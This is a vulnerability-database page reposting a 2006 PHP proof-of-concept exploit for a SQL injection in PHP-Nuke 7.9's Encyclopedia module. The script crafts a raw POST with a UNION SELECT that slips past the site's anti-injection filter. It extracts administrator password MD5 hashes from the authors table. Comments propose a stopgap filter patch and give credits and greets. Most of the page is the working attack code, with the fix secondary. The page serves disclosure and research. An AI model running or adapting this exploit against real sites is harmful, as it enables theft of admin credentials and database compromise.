Lucene search
K

PHP-Nuke <= 7.9 (Encyclopedia) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

PHP-Nuke <= 7.9 (Encyclopedia) Remote SQL Injection Exploit. Remote SQL injection exploit targeting PHP-Nuke version 7.9 Encyclopedia module resulting in unauthorized access to the database. Patch available on Neo Security Team website

Code

                                                &#60;?
/*

Neo Security Team - Exploit made by Paisterist on 2006-10-22
http://www.neosecurityteam.net

*/

$host=&#34;localhost&#34;;
$path=&#34;/phpnuke/&#34;;
$prefix=&#34;nuke_&#34;;
$port=&#34;80&#34;;
$fp = fsockopen($host, $port, $errno, $errstr, 30);
$data=&#34;query=fooaa&eid=foo&#39;/**/UNION SELECT pwd as title FROM $prefix_authors WHERE &#39;1&#39;=&#39;1&#34;;

if ($fp) {
    $p=&#34;POST /phpnuke/modules.php?name=Encyclopedia&file=search HTTP/1.0\r\n&#34;;
    $p.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*\r\n&#34;;
    $p.=&#34;Referer: http://localhost/phpnuke/modules.php?name=Encyclopedia&file=search\r\n&#34;;
    $p.=&#34;Accept-Language: es-ar\r\n&#34;;
    $p.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
    $p.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n&#34;;
    $p.=&#34;Host: localhost\r\n&#34;;
    $p.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
    $p.=&#34;Pragma: no-cache\r\n&#34;;
    $p.=&#34;Connection: keep-alive\r\n\r\n&#34;;
    $p.=$data;
   
    fwrite($fp, $p);
   
    while (!feof($fp)) {
        $content .= fread($fp, 4096);
    }

    preg_match(&#34;/([a-zA-Z0-9]{32})/&#34;, $content, $matches);

    print_r($matches);
}

// ==Real Proof of Concept exploit==

// Whit this PoC code i get the md5 hash of the first admin (God) of the nuke_authors table.

// - How to fix it? More information?
// --------------------------------------------------------

// You can found a patch on http://www.neosecurityteam.net/foro/

// Also, you can modify the line 143 of mainfile.php, adding one more protection like:

// ==[ mainfile.php old line (143) ]==========================
// [...]
// if (stripos_clone($postString,&#39;%20union%20&#39;) OR stripos_clone($postString,&#39;*/union/*&#39;) OR stripos_clone($postString,&#39; union &#39;) OR stripos_clone($postString_64,&#39;%20union%20&#39;) OR stripos_clone($postString_64,&#39;*/union/*&#39;) OR stripos_clone($postString_64,&#39; union &#39;) OR stripos_clone($postString_64,&#39;+union+&#39;)) {
// }
// [...]
// ==[ end mainfile.php ]=====================================

// ==[ mainfile.php new line (143) ]==========================
// [...]
// if (stripos_clone($postString,&#39;%20union%20&#39;) OR stripos_clone($postString,&#39;*/union/*&#39;) OR stripos_clone($postString,&#39; union &#39;) OR stripos_clone($postString_64,&#39;%20union%20&#39;) OR stripos_clone($postString_64,&#39;*/union/*&#39;) OR stripos_clone($postString_64,&#39; union &#39;) OR stripos_clone($postString_64,&#39;+union+&#39;) OR stripos_clone($postString_64,
// &#39;*/UNION &#39;) OR stripos_clone($postString_64, &#39; UNION/*&#39;)) {
// }
// [...]
// ==[ end mainfile.php ]=====================================

// That&#39;s a momentary solution to the problem. I recommend to download the PHP Nuke 8.0 version in the next days... it is not
// free at the moment.

// - References
// --------------------------------------------------------
// http://www.neosecurityteam.net/index.php?action=advisories&id=27

// - Credits
// --------------------------------------------------------
// Anti SQL Injection protection bypass by Paisterist -&#62; paisterist.nst [at] gmail [dot] com
// SQL Injection vulnerability in Encyclopedia module discovered by Paisterist -&#62; paisterist.nst [at] gmail [dot] com
// Proof of Concept exploit by Paisterist -&#62; paisterist.nst [at] gmail [dot] com

// [N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/


// - Greets
// --------------------------------------------------------
// HaCkZaTaN
// K4P0
// Daemon21
// Link
// 0m3gA_x
// LINUX
// nitrous
// m0rpheus
// nikyt0x
// KingMetal
// Knightmare

// Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!

// @@@@&#39;&#39;&#39;@@@@&#39;@@@@@@@@@&#39;@@@@@@@@@@@
// &#39;@@@@@&#39;&#39;@@&#39;@@@&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;@@&#39;&#39;@@@&#39;&#39;@@
// &#39;@@&#39;@@@@@@&#39;&#39;@@@@@@ @@@&#39;&#39;&#39;&#39;&#39;@@@
// &#39;@@&#39;&#39;&#39;@@@@&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;@@@&#39;&#39;&#39;&#39;@@@
// @@@@&#39;&#39;&#39;&#39;@@&#39;@@@@@@@@@@&#39;&#39;&#39;&#39;@@@@@
?&#62;

# milw0rm.com [2006-10-22]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
20